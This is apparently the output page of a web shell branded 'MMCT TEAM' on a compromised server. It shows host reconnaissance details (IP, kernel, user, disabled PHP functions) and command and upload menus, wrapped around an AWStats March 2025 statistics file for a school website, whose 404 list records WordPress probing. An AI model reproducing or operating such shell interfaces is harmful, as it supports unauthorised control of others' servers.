MMCT TEAM
Server IP : 103.191.208.50  /  Your IP : 216.73.216.53
Web Server : LiteSpeed
System : Linux orion.herosite.pro 4.18.0-553.53.1.lve.el8.x86_64 #1 SMP Wed May 28 17:01:02 UTC 2025 x86_64
User : celkcksm ( 1031)
PHP Version : 7.4.33
Disable Function : show_source, system, shell_exec, passthru, popen, exec
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0700) :  /home/celkcksm/tmp/awstats/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/celkcksm/tmp/awstats/awstats032025.beldaenglishmediumschool.com.ncriptech.com.txt
AWSTATS DATA FILE 7.9 (build 20230108)
# If you remove this file, all statistics for date 202503 will be lost/reset.
# Last config file used to build this data file was /home/celkcksm/tmp/awstats/awstats.beldaenglishmediumschool.com.ncriptech.com.conf.

# Position (offset in bytes) in this file for beginning of each section for
# direct I/O access. If you made changes somewhere in this file, you should
# also remove completely the MAP section (AWStats will rewrite it at next
# update).
BEGIN_MAP 28
POS_GENERAL 2073                
POS_TIME 2744                
POS_VISITOR 7204                
POS_DAY 8376                
POS_DOMAIN 3352                
POS_LOGIN 3651                
POS_ROBOT 3806                
POS_WORMS 4011                
POS_EMAILSENDER 4142                
POS_EMAILRECEIVER 4285                
POS_SESSION 8505                
POS_FILESIZE 18997               
POS_SIDER 8652                
POS_FILETYPES 4420                
POS_DOWNLOADS 4525                
POS_OS 4573                
POS_BROWSER 4726                
POS_SCREENSIZE 4949                
POS_UNKNOWNREFERER 5023                
POS_UNKNOWNREFERERBROWSER 5148                
POS_ORIGIN 5268                
POS_SEREFERRALS 5402                
POS_PAGEREFS 5565                
POS_SEARCHWORDS 5713                
POS_KEYWORDS 5865                
POS_MISC 2408                
POS_ERRORS 5924                
POS_CLUSTER 3507                
POS_SIDER_404 6013                
END_MAP

# LastLine    = Date of last record processed - Last record line number in last log - Last record offset in last log - Last record signature value
# FirstTime   = Date of first visit for history file
# LastTime    = Date of last visit for history file
# LastUpdate  = Date of last update - Nb of parsed records - Nb of parsed old records - Nb of parsed new records - Nb of parsed corrupted - Nb of parsed dropped
# TotalVisits = Number of visits
# TotalUnique = Number of unique visitors
# MonthHostsKnown   = Number of hosts known
# MonthHostsUnKnown = Number of hosts unknown
BEGIN_GENERAL 8
LastLine 20250402191340 1 0 8999031851522
FirstTime 20250312182535
LastTime 20250314161158
LastUpdate 20250403182754 1 0 0 0 0
TotalVisits 44                  
TotalUnique 28                  
MonthHostsKnown 0                   
MonthHostsUnknown 28                  
END_GENERAL

# Misc ID - Pages - Hits - Bandwidth
BEGIN_MISC 10
FlashSupport 0 0 0
JavascriptDisabled 0 0 0
AddToFavourites 0 0 0
TotalMisc 0 0 0
QuickTimeSupport 0 0 0
WindowsMediaPlayerSupport 0 0 0
JavaEnabled 0 0 0
DirectorSupport 0 0 0
PDFSupport 0 0 0
RealPlayerSupport 0 0 0
END_MISC

# Hour - Pages - Hits - Bandwidth - Not viewed Pages - Not viewed Hits - Not viewed Bandwidth
BEGIN_TIME 24
0 1 1 13545 0 0 0
1 18 18 1152 0 0 0
2 0 0 0 0 4 5004
3 0 0 0 0 0 0
4 18 18 1152 0 0 0
5 1 1 13545 0 0 0
6 2 2 17013 1 1 1251
7 21 21 24105 0 0 0
8 1 1 4856 1 1 1251
9 2 2 27090 4 38 1521271
10 18 18 1152 1 1 1251
11 1 1 13545 0 0 0
12 1 1 13545 0 0 0
13 21 21 319428 18 18 22518
14 1 1 13545 0 0 0
15 0 0 0 0 0 0
16 19 19 14697 0 0 0
17 0 0 0 0 0 0
18 5 5 345366 18 18 22518
19 18 18 1152 0 0 0
20 2 2 27090 1 2 7505
21 4 4 45578 0 0 0
22 22 22 157372 3 3 3753
23 1 1 13545 0 0 0
END_TIME

# Domain - Pages - Hits - Bandwidth
# The 25 first Pages must be first (order not required for others)
BEGIN_DOMAIN 6
in 144 144 9216
jp 15 15 179085
us 11 11 694113
cn 4 4 29059
sc 2 2 143455
de 1 1 13545
END_DOMAIN

# Cluster ID - Pages - Hits - Bandwidth
BEGIN_CLUSTER 0
END_CLUSTER

# Login - Pages - Hits - Bandwidth - Last visit
# The 10 first Pages must be first (order not required for others)
BEGIN_LOGIN 0
END_LOGIN

# Robot ID - Hits - Bandwidth - Last visit - Hits on robots.txt
# The 25 first Hits must be first (order not required for others)
BEGIN_ROBOT 2
bingbot/ 36 1518769 20250313094000 0
SemrushBot/ 1 6254 20250312201350 0
END_ROBOT

# Worm ID - Hits - Bandwidth - Last visit
# The 5 first Hits must be first (order not required for others)
BEGIN_WORMS 0
END_WORMS

# EMail - Hits - Bandwidth - Last visit
# The 20 first Hits must be first (order not required for others)
BEGIN_EMAILSENDER 0
END_EMAILSENDER

# EMail - Hits - Bandwidth - Last visit
# The 20 first hits must be first (order not required for others)
BEGIN_EMAILRECEIVER 0
END_EMAILRECEIVER

# Files type - Hits - Bandwidth - Bandwidth without compression - Bandwidth after compression
BEGIN_FILETYPES 2
html 24 971434 0 0
Unknown 153 97039 0 0
END_FILETYPES

# Downloads - Hits - Bandwidth
BEGIN_DOWNLOADS 0
END_DOWNLOADS

# OS ID - Hits
BEGIN_OS ID - Hits - Pages 7
macosx 1 1
win8.1 2 2
win10 7 7
macosx15 1 1
ios_iphone 21 21
Unknown 144 144
linux 1 1
END_OS

# Browser ID - Hits - Pages
BEGIN_BROWSER 8
safari13.0.3 21 21
Unknown 144 144
chrome103.0.5060.114 2 2
chrome116.0.5845.187 1 1
chrome78.0.3904.108 6 6
chrome105.0.0.0 1 1
chrome66.0.3359.181 1 1
chrome126.0.0.0 1 1
END_BROWSER

# Screen size - Hits
BEGIN_SCREENSIZE 0
END_SCREENSIZE

# Unknown referer OS - Last visit date
BEGIN_UNKNOWNREFERER 1
Cpanel-HTTP-Client/1.0 20250314161158
END_UNKNOWNREFERER

# Unknown referer Browser - Last visit date
BEGIN_UNKNOWNREFERERBROWSER 1
Cpanel-HTTP-Client/1.0 20250314161158
END_UNKNOWNREFERERBROWSER

# Origin - Pages - Hits 
BEGIN_ORIGIN 6
From0 174 174
From1 0 0
From2 1 1
From3 0 0
From4 2 2
From5 0 0
END_ORIGIN

# Search engine referers ID - Pages - Hits
BEGIN_SEREFERRALS 1
www_google_com 1 1
END_SEREFERRALS

# External page referers - Pages - Hits
# The 25 first Pages must be first (order not required for others)
BEGIN_PAGEREFS 0
END_PAGEREFS

# Search keyphrases - Number of search
# The 10 first number of search must be first (order not required for others)
BEGIN_SEARCHWORDS 0
END_SEARCHWORDS

# Search keywords - Number of search
# The 25 first number of search must be first (order not required for others)
BEGIN_KEYWORDS 0
END_KEYWORDS

# Errors - Hits - Bandwidth
BEGIN_ERRORS 1
404 49 61299
END_ERRORS

# URL with 404 errors - Hits - Last URL referrer
BEGIN_SIDER_404 26
/blog/wp-includes/wlwmanifest.xml 2 -
/2019/wp-includes/wlwmanifest.xml 2 -
/ads.txt 2 -
/cdn-cgi/scripts/5c5dd728/cloudflare-static/email-decode.min.js 1 -
/news/wp-includes/wlwmanifest.xml 2 -
/robots.txt 4 -
/site/wp-includes/wlwmanifest.xml 2 -
/coming-soon 1 -
/wp-admin/setup-config.php 2 -
/wordpress/wp-includes/wlwmanifest.xml 2 -
/cms/wp-includes/wlwmanifest.xml 2 -
/wp/wp-includes/wlwmanifest.xml 2 -
/wp-includes/wlwmanifest.xml 2 -
/sito/wp-includes/wlwmanifest.xml 2 -
/test/wp-includes/wlwmanifest.xml 2 -
/wp1/wp-includes/wlwmanifest.xml 2 -
/media/wp-includes/wlwmanifest.xml 2 -
/xmlrpc.php 2 -
/website/wp-includes/wlwmanifest.xml 2 -
/web/wp-includes/wlwmanifest.xml 2 -
/2018/wp-includes/wlwmanifest.xml 2 -
/shop/wp-includes/wlwmanifest.xml 2 -
/register 1 -
/forgot-password 1 -
/wp2/wp-includes/wlwmanifest.xml 2 -
/wordpress/wp-admin/setup-config.php 1 -
END_SIDER_404

# Host - Pages - Hits - Bandwidth - Last visit date - [Start date of last visit] - [Last page of last visit]
# [Start date of last visit] and [Last page of last visit] are saved only if session is not finished
# The 25 first Hits must be first (order not required for others)
BEGIN_VISITOR 28
103.191.208.50 144 144 9216 20250314161158
34.60.53.148 3 3 318276 20250313134823
35.222.93.246 3 3 318276 20250312185609
165.231.182.128 2 2 143455 20250313222008
43.167.245.18 2 2 27090 20250314091355
43.153.96.79 1 1 13545 20250313214646
43.153.12.58 1 1 13545 20250312182631
124.156.157.91 1 1 4943 20250313063843
43.166.136.202 1 1 13545 20250314143603
43.131.253.14 1 1 13545 20250313054622
43.130.106.18 1 1 13545 20250314091311
43.133.14.237 1 1 4636 20250313073251
43.166.255.122 1 1 4943 20250313212456
170.106.113.235 1 1 13545 20250313205624
170.106.147.63 1 1 4856 20250313082303
49.51.183.15 1 1 4772 20250313072428
49.51.243.95 1 1 13545 20250313204103
43.159.149.216 1 1 13545 20250313214717
35.187.250.253 1 1 12070 20250313062305
43.135.134.127 1 1 13545 20250313073737
34.217.193.108 1 1 13545 20250312214202
49.51.52.250 1 1 5799 20250313222505
43.130.111.40 1 1 13545 20250312235542
43.166.237.57 1 1 13545 20250312182535
78.46.110.66 1 1 13545 20250314125657
43.153.27.244 1 1 13545 20250313164422
43.159.152.184 1 1 6966 20250313220512
199.244.88.229 1 1 13545 20250314000056
END_VISITOR

# Date - Pages - Hits - Bandwidth - Visits
BEGIN_DAY 3
20250312 25 25 373608 7
20250313 93 93 623684 26
20250314 59 59 71181 11
END_DAY

# Session range - Number of visits
BEGIN_SESSION 1
0s-30s 44
END_SESSION

# URL - Pages - Bandwidth - Entry - Exit
# The 25 first Pages must be first (order not required for others)
BEGIN_SIDER 153
/ 24 971434 20 19
/game 2 9886 2 2
/.well-known/acme-challenge/2PZFM9VDHESZ00JAMOSSINPA0W59KZFQ 1 64 0 0
/.well-known/acme-challenge/09IGURM_JDO41P_U9EOGC16S51D9V800 1 64 0 0
/.well-known/acme-challenge/J2TAHBEE65A1C84J25M6MY_NFKXJPDS_ 1 64 0 0
/.well-known/acme-challenge/-0Y0IJPQDL_0XQ0YKO379EBQ2619C813 1 64 0 0
/index 1 13545 1 1
/.well-known/acme-challenge/HPB6JQO_5IDOOO5KPVSBECKQ5IYPQQNI 1 64 0 0
/.well-known/acme-challenge/-IELLCXXPD-H1CTIPEISM7TISUZI150X 1 64 0 0
/.well-known/acme-challenge/_P6RHFW9VFHQH-P03YZ_F44C0R06NZ1T 1 64 0 0
/.well-known/acme-challenge/5UP56A4HG6M6W1GKGPEDIT37HHQNQQ21 1 64 1 0
/.well-known/acme-challenge/E2F6JP_0RN6J6A885I751_J7OMN0-Z4C 1 64 0 0
/.well-known/acme-challenge/KMC3EG8YMK1_TP2ASCIPXJUHHVBY8DL0 1 64 1 0
/.well-known/acme-challenge/-T0VBODYQ-J6LAVL77Z81E6MDWYQ5DD2 1 64 0 0
/.well-known/acme-challenge/XS5M2WRHNREF6Z2D2RAL5SGW63E72I1J 1 64 0 0
/.well-known/acme-challenge/XL5NLZCUBZ-1VHR4F_ES7W-SXNB-ELNK 1 64 0 0
/.well-known/acme-challenge/RT018G1J9OWW6KP030EEWO4PRFXML96W 1 64 0 0
/.well-known/acme-challenge/_NX46QE_LG6PYY42-5RH7RPNUX244S2Y 1 64 0 0
/.well-known/acme-challenge/JCPZ227TN442M20YK6F0655A5Y5U4SM0 1 64 0 0
/.well-known/acme-challenge/5V80FU-UT48GP0NB5PBED2TJ09UFW3ZD 1 64 0 0
/.well-known/acme-challenge/LA70742ZKV2QZMO3LRQ127GUSRK0IUSR 1 64 0 0
/.well-known/acme-challenge/IVLUW1A4_844JWKI7KNWIFYJ_GOL13NR 1 64 0 0
/.well-known/acme-challenge/9-GB-E1H7_V2O_OSEMA7QAJYUS7XNGI1 1 64 0 0
/.well-known/acme-challenge/QOGLG-JWW248IL83VNGODC3BNMQ5JOYQ 1 64 0 0
/.well-known/acme-challenge/OMDVFTV49OOMTTLGDRHD_0BVQGYI0_JP 1 64 0 0
/.well-known/acme-challenge/_Q96AXZ_8C2Q846DG6KPACU3EOZ5SGBQ 1 64 0 0
/.well-known/acme-challenge/PQDZPRPGTLJAW-BABE661NHZ8BMGWUJ- 1 64 0 0
/.well-known/acme-challenge/WTSK1QGDGFOBQS74BIR9QFQ3-OSCA2FE 1 64 0 0
/.well-known/acme-challenge/OZGJTG2F804GBLB-W71ERMZO5FB-UK6Q 1 64 0 0
/.well-known/acme-challenge/PA3NZ2-518E5MQ4429H0SPG1SX4G6WDP 1 64 0 0
/.well-known/acme-challenge/LQ27UHQS9JZ2U1QP-4J29_YBQS41U2HQ 1 64 0 1
/.well-known/acme-challenge/T9X-UBVLIVY_WZXOIB0GNEFRP_--2ZGG 1 64 0 0
/.well-known/acme-challenge/B9CTINWKHK_3Q_21JBF6O0INARXCDI3M 1 64 0 0
/.well-known/acme-challenge/AA9MQI_T2L3PEYHOTZEQO1_XCVP73ZO4 1 64 0 0
/.well-known/acme-challenge/TEZP75AZS428GKU9ZA_HV9E1U849ZYJ1 1 64 0 0
/.well-known/acme-challenge/C99HMRBKZYPH-661Z5H3LI6TLV57EZKC 1 64 0 0
/.well-known/acme-challenge/7W91B_LGOEOT-J6QTXXQNHSZ033NGHJV 1 64 0 0
/.well-known/acme-challenge/AY8J_EKPIMW2WU53TFOQ3FUR1Z4G806- 1 64 0 0
/.well-known/acme-challenge/0_ASCLGRF21BK913JM-JACZYRK8V3898 1 64 0 0
/.well-known/acme-challenge/AP0ZFT4P20G1MWXX77A4CD-P-MYOSK7P 1 64 0 0
/.well-known/acme-challenge/URG4CX031BEAZLDWJ9WEN26DPZERQDJR 1 64 0 1
/.well-known/acme-challenge/Z1SNIW_LU4EZINUIUSBANK10-L3E09UD 1 64 0 0
/.well-known/acme-challenge/IUSI991GYA7FS9VLJ_SNZFMFX083IS-C 1 64 0 0
/.well-known/acme-challenge/IMA94I7CLOX5XR0Y18UVSVQVX9KFNHAF 1 64 1 0
/.well-known/acme-challenge/XIEQ02-31-OAID_L-4OJFCIB3-EF00HK 1 64 0 0
/.well-known/acme-challenge/BF7C3KIN03YNGGQW9Z05ZT6WWXM5I2WG 1 64 0 0
/.well-known/acme-challenge/R1Q70DXTQH88ST5ZIN0KX2C4WO9TTX34 1 64 0 0
/.well-known/acme-challenge/XIBIUENLAC5C89M_DRYLTFYZ61F68MCM 1 64 0 0
/.well-known/acme-challenge/T8C7T35XGVXQJP9D_YVY8T3TIAKU4FZ- 1 64 0 0
/.well-known/acme-challenge/5BUPR4KNYF0RIE2P502C7_49XYX-4OGV 1 64 0 0
/.well-known/acme-challenge/XC_IRL3TSUW-SJXN32BWIXW0DICP4ZOT 1 64 0 0
/.well-known/acme-challenge/BADX6_55VKLN2_QGTA1KRTTHL5QF-437 1 64 0 0
/messege-desk 1 6966 1 1
/.well-known/acme-challenge/M5UO_L501G145CALT37SYORLI2AMQ-DN 1 64 0 0
/.well-known/acme-challenge/OGKD_DNY3CAL-W7A3ZJNVX98SV8YQFH3 1 64 0 0
/.well-known/acme-challenge/MGXE-V9-Q2R_2U6T4DGAXBV1Z8-DLIE2 1 64 0 0
/.well-known/acme-challenge/5BL1OCXTFG60TGGXFUO7PJT5EZ4JNW39 1 64 0 1
/.well-known/acme-challenge/LQQTJKEDF-9N-XDEEHW8IXT9-CW95VQ0 1 64 0 0
/.well-known/acme-challenge/5FI61AVKQK00WBK-UGI2YAQPEAJ7HHHI 1 64 0 0
/.well-known/acme-challenge/EU9Q152VD3VN-ATKNCDHOEZCN6PC9SJG 1 64 1 0
/contact 1 37363 0 1
/.well-known/acme-challenge/3CB61GO6K74M936JAHWC_Q4WGVBIDX42 1 64 0 0
/.well-known/acme-challenge/8JSG47MOEJP2XFJ1XPCL6TRW9A2LIWPO 1 64 0 1
/.well-known/acme-challenge/5AYA_YL22D0Q-QF2IC982KHDG1FP-FNB 1 64 1 0
/.well-known/acme-challenge/NBO4AXR9J06R4TI39HEH8ZWK3WKPJQI5 1 64 0 0
/.well-known/acme-challenge/3A5WMQGK6-MSMJ-ON523_6HZYJ4NRTGC 1 64 0 0
/.well-known/acme-challenge/DSRZH7_6O_5-3J-GAXRGPPZQE774QV4V 1 64 0 0
/.well-known/acme-challenge/2EQROPDH3TP1B9LQ1E094SYUCAVR33T9 1 64 0 0
/.well-known/acme-challenge/95AO9RS4UTBQKYE6VN6Z1A876NI98Q8B 1 64 0 0
/.well-known/acme-challenge/M6781JB_H2-M4XCY18UKLIIUW3PM94U7 1 64 0 0
/.well-known/acme-challenge/0QMG-0SSS37NLXMNLH_LGI20SKZ5615T 1 64 0 0
/.well-known/acme-challenge/Y0SZHIP2I10V7IFTK4ENBQWGHRN38B6R 1 64 0 0
/.well-known/acme-challenge/2W0KKIX1_XS_P_MG1C2S07-D9ZC9-G7P 1 64 0 1
/.well-known/acme-challenge/-FVQONSJJRDVVJXUDP1EHDSS1IU3QX4M 1 64 0 1
/.well-known/acme-challenge/BQ15RP4TLO1JRW8L-NFR3KABBIR3875- 1 64 0 0
/.well-known/acme-challenge/FQEJGCFAAS7S2UB0731ZV76OXS58USCV 1 64 0 0
/.well-known/acme-challenge/CP81WWWINDT-9KX573424XXGHN77Z4VK 1 64 0 0
/.well-known/acme-challenge/I7SUFQ-J4NT1K3NOMGL42-64FHLNGQ99 1 64 1 0
/.well-known/acme-challenge/XDM-S4FBGHXFPBW1WL9S32K8NFC67_NJ 1 64 0 0
/.well-known/acme-challenge/QLGJ6L-ZK6F78D7_KHI255ZTERNDLK0H 1 64 0 1
/.well-known/acme-challenge/F9NP_OX4UT9WK52J54D99XK9PU_8D5LF 1 64 0 0
/.well-known/acme-challenge/VJJ-1K4EATS-BK6KQQQ4QCFLHW9WVOA7 1 64 0 0
/.well-known/acme-challenge/LTC42X9J5RO1XSSHGK-ORSWSII8U4Z2E 1 64 0 0
/.well-known/acme-challenge/F_TKUAMKXP56C4PCEMCLRSDVIMKA9GEC 1 64 0 0
/.well-known/acme-challenge/1BPUI0B-21VZND5VDKM39FMG67CDTR8T 1 64 0 1
/.well-known/acme-challenge/3O4MTIVCT3729JR9S-1EP1YRMX82B5P6 1 64 0 0
/.well-known/acme-challenge/XBRB57GEVMFSZAF2WVL5QM0OVIX5EJUR 1 64 1 0
/.well-known/acme-challenge/0O6BSUYBY73JR1KJJLCU8A4E8SJMZJ77 1 64 0 0
/.well-known/acme-challenge/ZS6BU8WR5Y5W1HR9NJZT-YSF-P9DI080 1 64 0 0
/.well-known/acme-challenge/IYE5KSABT30MLZJQEA_EKYQNT28UA34F 1 64 0 1
/.well-known/acme-challenge/JM-I0OIC8VL6ZIR_IDHQRNWXGJC_Y8JI 1 64 0 0
/.well-known/acme-challenge/_KBT-8_IKY6TR4C9U40GO49LP37NBDSK 1 64 0 0
/.well-known/acme-challenge/6D1HY-BU2QRQ80X24LA6JTDMSYGJORJ5 1 64 0 1
/.well-known/acme-challenge/3ME5PSTSSCGLTCGA_W4J4J_H9O2N9FL2 1 64 0 0
/canteen-and-tiffin 1 4636 1 1
/others 1 4856 1 1
/.well-known/acme-challenge/QAZ1T4BE54UF2Z-HB-OD06F7-51NA-G1 1 64 1 0
/.well-known/acme-challenge/XUX97G7-D_2SOEA4W6DR20LV9L5K88_6 1 64 0 0
/.well-known/acme-challenge/YVAQ5YTWHLZLPXM7ZXBCI8GDZ2L26-68 1 64 0 0
/.well-known/acme-challenge/7S9V4ODCFHVUQD6K1SBJ5K042DMESQVG 1 64 1 0
/.well-known/acme-challenge/RERKF83N9GXBKD18EAM-LH_HVFIOPT83 1 64 0 0
/.well-known/acme-challenge/B0MP_XUHDU73KM29A-2P7EU-WZ8GK69S 1 64 0 0
/.well-known/acme-challenge/PBAWDE9SECFSU_AFO3X9L8ZNVB28HGDY 1 64 0 1
/.well-known/acme-challenge/ACNIQX5V7-9P7IYSG58QB9GKQMM7Q_H_ 1 64 1 0
/.well-known/acme-challenge/WULAYAPH0-DNV4RB3LIQLGIAM-IS2JU2 1 64 0 0
/.well-known/acme-challenge/523VR3VM2GL6GJ8SSI6MXSI2IUKXC-X_ 1 64 0 0
/.well-known/acme-challenge/LUBGRSNJW_VBBG0PRLRK0V97A5V9QTHI 1 64 0 0
/.well-known/acme-challenge/7-W-3____C-92N_NCKJ6M46ERGFHE7CH 1 64 0 0
/.well-known/acme-challenge/H5DVUVCUWYMS7NJ4Q97GM6XU1QZT5BAA 1 64 0 0
/.well-known/acme-challenge/YTZYHJMPQ215RVPKYITXKFLXZBGEZ3YC 1 64 1 0
/.well-known/acme-challenge/EDK7ZLDBQFA9IATTWF2FH07UKTP9BFGV 1 64 0 0
/.well-known/acme-challenge/E-MB_O62ZC8FS0_9FW7P-3E37645ODFH 1 64 0 0
/.well-known/acme-challenge/RF2S_KIH6R8BOS7L2OB9WZNXQ-DHE0PI 1 64 1 0
/.well-known/acme-challenge/AZ00D37KSVWHGXXBEJXOHVMXGQHHC31- 1 64 0 0
/.well-known/acme-challenge/-DL8Y5OTOFNABBRAX-6I6FPOZ1NLHBIY 1 64 0 0
/.well-known/acme-challenge/U3FQ_DJ-_LP38A39_P_02NSZL2JNA5W4 1 64 0 0
/.well-known/acme-challenge/4235N_SWI65J8SD75LB3FI6AQCGK1WK_ 1 64 0 0
/.well-known/acme-challenge/G1YT6K7SHTXDN08SXZSP8SZ5P4DPGWEQ 1 64 1 0
/.well-known/acme-challenge/CP41189P3NEEC92QP0O60DX9GF8LEUJS 1 64 0 0
/.well-known/acme-challenge/Y6M9N8K8AFRVHSOFRAB8BOTURQLVAU5C 1 64 0 0
/.well-known/acme-challenge/MLSHH5S4JG5OTR6I7B2R-ETB5WSQBM94 1 64 0 1
/.well-known/acme-challenge/JBA_NECV8HS-PW2H-7XQD4_NOL_FK6YJ 1 64 0 0
/.well-known/acme-challenge/D5PBW-Z40UT0L493DAUWS4RQ4-6NOLBX 1 64 0 0
/.well-known/acme-challenge/IZAT-1QOPUK94LIZI1P-Y3GT_HOQ9FSP 1 64 0 0
/.well-known/acme-challenge/EFI_Z9F96STENEZF8F1_6H292DDMAGN5 1 64 0 0
/.well-known/acme-challenge/PDS42N88K-IUGMO1LRAUY9H5CAIDA_EH 1 64 0 0
/.well-known/acme-challenge/ZLG_BMRQS08AQS0POG1GYUVM2TXRDJYE 1 64 0 0
/.well-known/acme-challenge/6X43RXKUGQV1PBZ35OIKJJC5H3BFYJEH 1 64 0 1
/.well-known/acme-challenge/NY5NR5Q3X62X7K_XQXYW_Q627WAS2BNS 1 64 0 1
/.well-known/acme-challenge/D772THTG0T3QIRPF5U34GZBK_2DRPWMO 1 64 1 0
/.well-known/acme-challenge/SZ_F7-7T5Q60D1CIMJ1U3J55HK3SH13T 1 64 0 1
/.well-known/acme-challenge/IMVUX_FOU4J6L3TCBS73E9354XM5FHJI 1 64 0 0
/computer-lab 1 4772 1 1
/.well-known/acme-challenge/K_7GN270IH8XIUXXUTTK0WJ_SFF1A1KX 1 64 0 0
/.well-known/acme-challenge/UXV5LPIPX870YRPGLGAKOAWOXIMFIGJB 1 64 0 0
/.well-known/acme-challenge/C2GCLIBBUZ52W5C-UM4-9FEBOZH5OY62 1 64 0 0
/.well-known/acme-challenge/F6MA-PZ_NPRW7OK3_I124UD1927LWYDE 1 64 0 0
/admission-form 1 5799 1 1
/.well-known/acme-challenge/1_CQTIQLBN5AMUHRYX6-HKV9PTL92W_4 1 64 0 0
/.well-known/acme-challenge/8IRFQ23CHVYUOVQ4ZB-XB8VQV5DKUSPG 1 64 0 0
/.well-known/acme-challenge/GGM_585DZ854CI_7GQYP54G3FEDRYT7N 1 64 1 0
/.well-known/acme-challenge/FQ_58UAXFOVRYFH3XV0R54PUZ2CXYB1T 1 64 0 0
/.well-known/acme-challenge/0_Z03JGE1LYFY2G6OMONIZ9_T8KU-Q5X 1 64 0 0
/.well-known/acme-challenge/R7KQVZ5JA3GXR0M876BMA60MUIIUUMQW 1 64 0 0
/.well-known/acme-challenge/27Q7ESKJMT8CDLX95ER5OA7SFC74NDES 1 64 1 0
/.well-known/acme-challenge/7NUO6ZA2NPLJKCER6UKZN638RDD7J5-7 1 64 0 0
/.well-known/acme-challenge/VH97XGZXB83Z06W0211ST7TEYYU2K2TM 1 64 0 0
/.well-known/acme-challenge/5AG8-P6N4GI5_CMHYYU4CB-AO-ZVR36_ 1 64 0 0
/.well-known/acme-challenge/U3G1W1IBGO41JEL4GLYA494JLJPK4C-F 1 64 0 0
/.well-known/acme-challenge/NPNNO5G9X08ZI56MN-9V0928R7B02QB1 1 64 0 0
/.well-known/acme-challenge/LZ9J958GZKH_HGQF-7AA50OD1ONVI2PN 1 64 0 1
/.well-known/acme-challenge/0XUHZKXLO_9NOCJZFGW9I2WCLGH-929X 1 64 0 0
/.well-known/acme-challenge/4TJ1O7QOB0RGCMX_1A-GU9YLHLEZIEA- 1 64 0 0
END_SIDER

# Payload Range - Payload Frequency
BEGIN_FILESIZE 6
2K-5K 9
44-100 144
5K+ 41
500-1K 8
1K-2K 60
100-500 1
END_FILESIZE

MMCT - 2023